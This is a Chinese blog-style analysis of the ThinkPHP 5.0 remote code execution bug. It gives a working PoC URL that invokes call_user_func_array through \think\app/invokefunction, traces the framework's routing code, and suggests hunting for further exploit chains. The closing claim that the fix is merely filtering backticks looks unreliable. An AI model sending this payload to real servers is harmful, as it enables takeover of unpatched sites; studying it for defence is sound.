thinkphp5.0 RCE分析

栏目: PHP · 发布时间: 5年前

内容简介:迟到的关于年末爆出的tp5的RCE的分析文章。我们先来分析以下的poc分析一个MVC的框架首先最重要的一步就是要搞清楚这个框架的路由规则。我们从

迟到的关于年末爆出的tp5的RCE的分析文章。

我们先来分析以下的poc

?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

分析一个MVC的框架首先最重要的一步就是要搞清楚这个框架的路由规则。我们从 index.php 开始,

define('APP_PATH', __DIR__ . '/../application/');
// 加载框架引导文件
require __DIR__ . '/../thinkphp/start.php';

直接require了 ./../thinkphp/start.php ,跟入该文件

<?php
// +----------------------------------------------------------------------
// | ThinkPHP [ WE CAN DO IT JUST THINK ]
// +----------------------------------------------------------------------
// | Copyright (c) 2006~2018 http://thinkphp.cn All rights reserved.
// +----------------------------------------------------------------------
// | Licensed ( http://www.apache.org/licenses/LICENSE-2.0 )
// +----------------------------------------------------------------------
// | Author: liu21st <liu21st@gmail.com>
// +----------------------------------------------------------------------

namespace think;

// ThinkPHP 引导文件
// 1. 加载基础文件
require __DIR__ . '/base.php';

// 2. 执行应用
App::run()->send();

进入 App.phprun() 方法,该方法的实现主要步骤可简化为:

    public static function run(Request $request = null)
    {
        $request = is_null($request) ? Request::instance() : $request;

        try {
            /*
          ...
              */
            $dispatch = self::$dispatch;

            // 未设置调度信息则进行 URL 路由检测
            if (empty($dispatch)) {
                $dispatch = self::routeCheck($request, $config);
            }
/*
           ...
*/               
            $data = self::exec($dispatch, $config);
        } catch (HttpResponseException $exception) {
            $data = $exception->getResponse();
        }
/*
...
*/
        return $response;
    }

路由检测位于 routeCheck($request,$config) 中,跟入该函数

public static function routeCheck($request, array $config)
    {
        $path   = $request->path();
        $depr   = $config['pathinfo_depr'];
        $result = false;

        // 路由检测
       ...

            // 路由检测(根据路由定义返回不同的URL调度)
            $result = Route::check($request, $path, $depr, $config['url_domain_deploy']);
            $must   = !is_null(self::$routeMust) ? self::$routeMust : $config['url_route_must'];

            if ($must && false === $result) {
                // 路由无效
                throw new RouteNotFoundException();
            }
        }

        // 路由无效 解析模块/控制器/操作/参数... 支持控制器自动搜索
        if (false === $result) {
            $result = Route::parseUrl($path, $depr, $config['controller_auto_search']);
        }

        return $result;
    }

routeCheck函数中首先通过 $request->path() 获取了请求的path,跟进可知该值在允许兼容模式时可以通过 $_GET[Config::get('var_pathinfo')] 获取,默认情况下即 $_GET[s] ,因此我们的poc获取到的path即为 index/\think\app/invokefunction 。之后由于路由规则中并无此规则,则进入控制器自动搜索,即 Route::parseUrl($path, $depr, $config['controller_auto_search']);

跟进parseUrl可知thinkphp在处理路由时会用 / 分割path,对应分割结果分别匹配为模块|控制器|操作|操作参数,

因此最后获取到的路由为

thinkphp5.0 RCE分析

回到 App.php 中,

$data = self::exec($dispatch, $config);

这行操作是整个RCE实现的关键。我们跟入 exec 方法的实现

protected static function exec($dispatch, $config)
    {
        switch ($dispatch['type']) {
           ...
            case 'module': // 模块/控制器/操作
                $data = self::module(
                    $dispatch['module'],
                    $config,
                    isset($dispatch['convert']) ? $dispatch['convert'] : null
                );
                break;
           ...
        }

        return $data;
    }

跟入 module 方法

public static function module($result, $config, $convert = null)
    {
        if (is_string($result)) {
            $result = explode('/', $result);
        }

        $request = Request::instance();

       ...

        // 获取控制器名
        $controller = strip_tags($result[1] ?: $config['default_controller']);
        $controller = $convert ? strtolower($controller) : $controller;

        // 获取操作名
        $actionName = strip_tags($result[2] ?: $config['default_action']);
       ...

        try {
            $instance = Loader::controller(
                $controller,
                $config['url_controller_layer'],
                $config['controller_suffix'],
                $config['empty_controller']
            );
        } catch (ClassNotFoundException $e) {
            throw new HttpException(404, 'controller not exists:' . $e->getClass());
        }

进入 Loader::controller 方法

public static function controller($name, $layer = 'controller', $appendSuffix = false, $empty = '')
    {
        list($module, $class) = self::getModuleAndClass($name, $layer, $appendSuffix);

        if (class_exists($class)) {
            return App::invokeClass($class);
        }

        if ($empty) {
            $emptyClass = self::parseClass($module, $layer, $empty, $appendSuffix);

            if (class_exists($emptyClass)) {
                return new $emptyClass(Request::instance());
            }
        }

        throw new ClassNotFoundException('class not exists:' . $class, $class);
    }

跟入 App::invokeClass 方法,

public static function invokeClass($class, $vars = [])
{
    $reflect     = new \ReflectionClass($class);
    $constructor = $reflect->getConstructor();
    $args        = $constructor ? self::bindParams($constructor, $vars) : [];

    return $reflect->newInstanceArgs($args);
}

该方法使用 php 的反射机制返回指定类的一个对象,因此由我们的poc, Loader::controller 返回了 \think\app 类的一个实例。

继续回到 App::module 方法

$action = $actionName . $config['action_suffix'];

      $vars = [];
      if (is_callable([$instance, $action])) {
          // 执行操作方法
          $call = [$instance, $action];
          // 严格获取当前操作方法名
          $reflect    = new \ReflectionMethod($instance, $action);
          $methodName = $reflect->getName();
          $suffix     = $config['action_suffix'];
          $actionName = $suffix ? substr($methodName, 0, -strlen($suffix)) : $methodName;
          $request->action($actionName);

      } elseif (is_callable([$instance, '_empty'])) {
          // 空操作
          $call = [$instance, '_empty'];
          $vars = [$actionName];
      } else {
          // 操作不存在
          throw new HttpException(404, 'method not exists:' . get_class($instance) . '->' . $action . '()');
      }

      Hook::listen('action_begin', $call);

      return self::invokeMethod($call, $vars);
  }

可以看到 App::module 方法之后会判断之前生成的实例是否有对应的方法,存在的话便会设置 $call 变量为 [\think\App类的实例,'invokefunction'] ,最后调用 self::invokeMethod($call,$vars) 。跟入该方法

public static function invokeMethod($method, $vars = [])
{
    if (is_array($method)) {
        $class   = is_object($method[0]) ? $method[0] : self::invokeClass($method[0]);
        $reflect = new \ReflectionMethod($class, $method[1]);
    } else {
        // 静态方法
        $reflect = new \ReflectionMethod($method);
    }

    $args = self::bindParams($reflect, $vars);

    self::$debug && Log::record('[ RUN ] ' . $reflect->class . '->' . $reflect->name . '[ ' . $reflect->getFileName() . ' ]', 'info');

    return $reflect->invokeArgs(isset($class) ? $class : null, $args);
}

跟入 self::bindParams ,该方法用于获取最后执行的函数的参数

private static function bindParams($reflect, $vars = [])
{
    // 自动获取请求变量
    if (empty($vars)) {
        $vars = Config::get('url_param_type') ?
        Request::instance()->route() :
        Request::instance()->param();
    }

    $args = [];
    if ($reflect->getNumberOfParameters() > 0) {
        // 判断数组类型 数字数组时按顺序绑定参数
        reset($vars);
        $type = key($vars) === 0 ? 1 : 0;

        foreach ($reflect->getParameters() as $param) {
            $args[] = self::getParamValue($param, $vars, $type);
        }
    }

    return $args;
}

默认情况下 Config::get('url_param_type') 为0,因此 $vars 被设置为 Request::instance()->param() ,在我们的poc中 $vars

thinkphp5.0 RCE分析

即为我们的请求参数。之后通过判断 $reflect 的方法中需要的参数最后返回参数列表 $args

thinkphp5.0 RCE分析

回到 invokeMethod 方法,

return $reflect->invokeArgs(isset($class) ? $class : null, $args);

这里调用了 $reflectinvokeArgs 方法,即通过反射调用 /think/App 类的 invokefunction 方法。

public static function invokeFunction($function, $vars = [])
    {
        $reflect = new \ReflectionFunction($function);
        $args    = self::bindParams($reflect, $vars);

        // 记录执行信息
        self::$debug && Log::record('[ RUN ] ' . $reflect->__toString(), 'info');

        return $reflect->invokeArgs($args);
    }

可以看到最后 invokeFunction() 相当于直接调用 call_user_func_array("phpinfo",[1])

thinkphp5.0 RCE分析

可见整个RCE的原因便是由于thinkphp在获取控制器时过滤不足导致可以任意生成类的实例调用指定的方法而导致的。怎样获取其他的可用的RCE的poc?我们可以在 Loader::controller 方法中添加一行代码:

$t=get_declared_classes();

在这行代码后的代码处下断点调试

thinkphp5.0 RCE分析

可以看到这些类都是tp中可用的用来RCE的类,我们只需要再多研究便可发现其他的利用链。

修复方法也是很简单粗暴,只需要过滤掉反引号即可。


以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

产品经理的20堂必修课

产品经理的20堂必修课

徐建极 / 人民邮电出版社 / 2013-9-1 / 59.00元

《产品经理的20堂必修课》以作者八年的产品经理工作实践为基础,通过系统的理论结合丰富的实例的方法,全面地总结了作为一名互联网产品经理所应掌握的知识。 《产品经理的20堂必修课》分为三大部分。 讲产品:深入剖析互联网产品成功的要素,分别从需求导向、简单原则、产品运营、战略布局等维度,分析如何让产品在残酷的互联网竞争中脱颖而出。 讲方法:着重分析优秀的产品团队运作的工作方法和程序,详......一起来看看 《产品经理的20堂必修课》 这本书的介绍吧!

JS 压缩/解压工具
JS 压缩/解压工具

在线压缩/解压 JS 代码

JSON 在线解析
JSON 在线解析

在线 JSON 格式化工具

HSV CMYK 转换工具
HSV CMYK 转换工具

HSV CMYK互换工具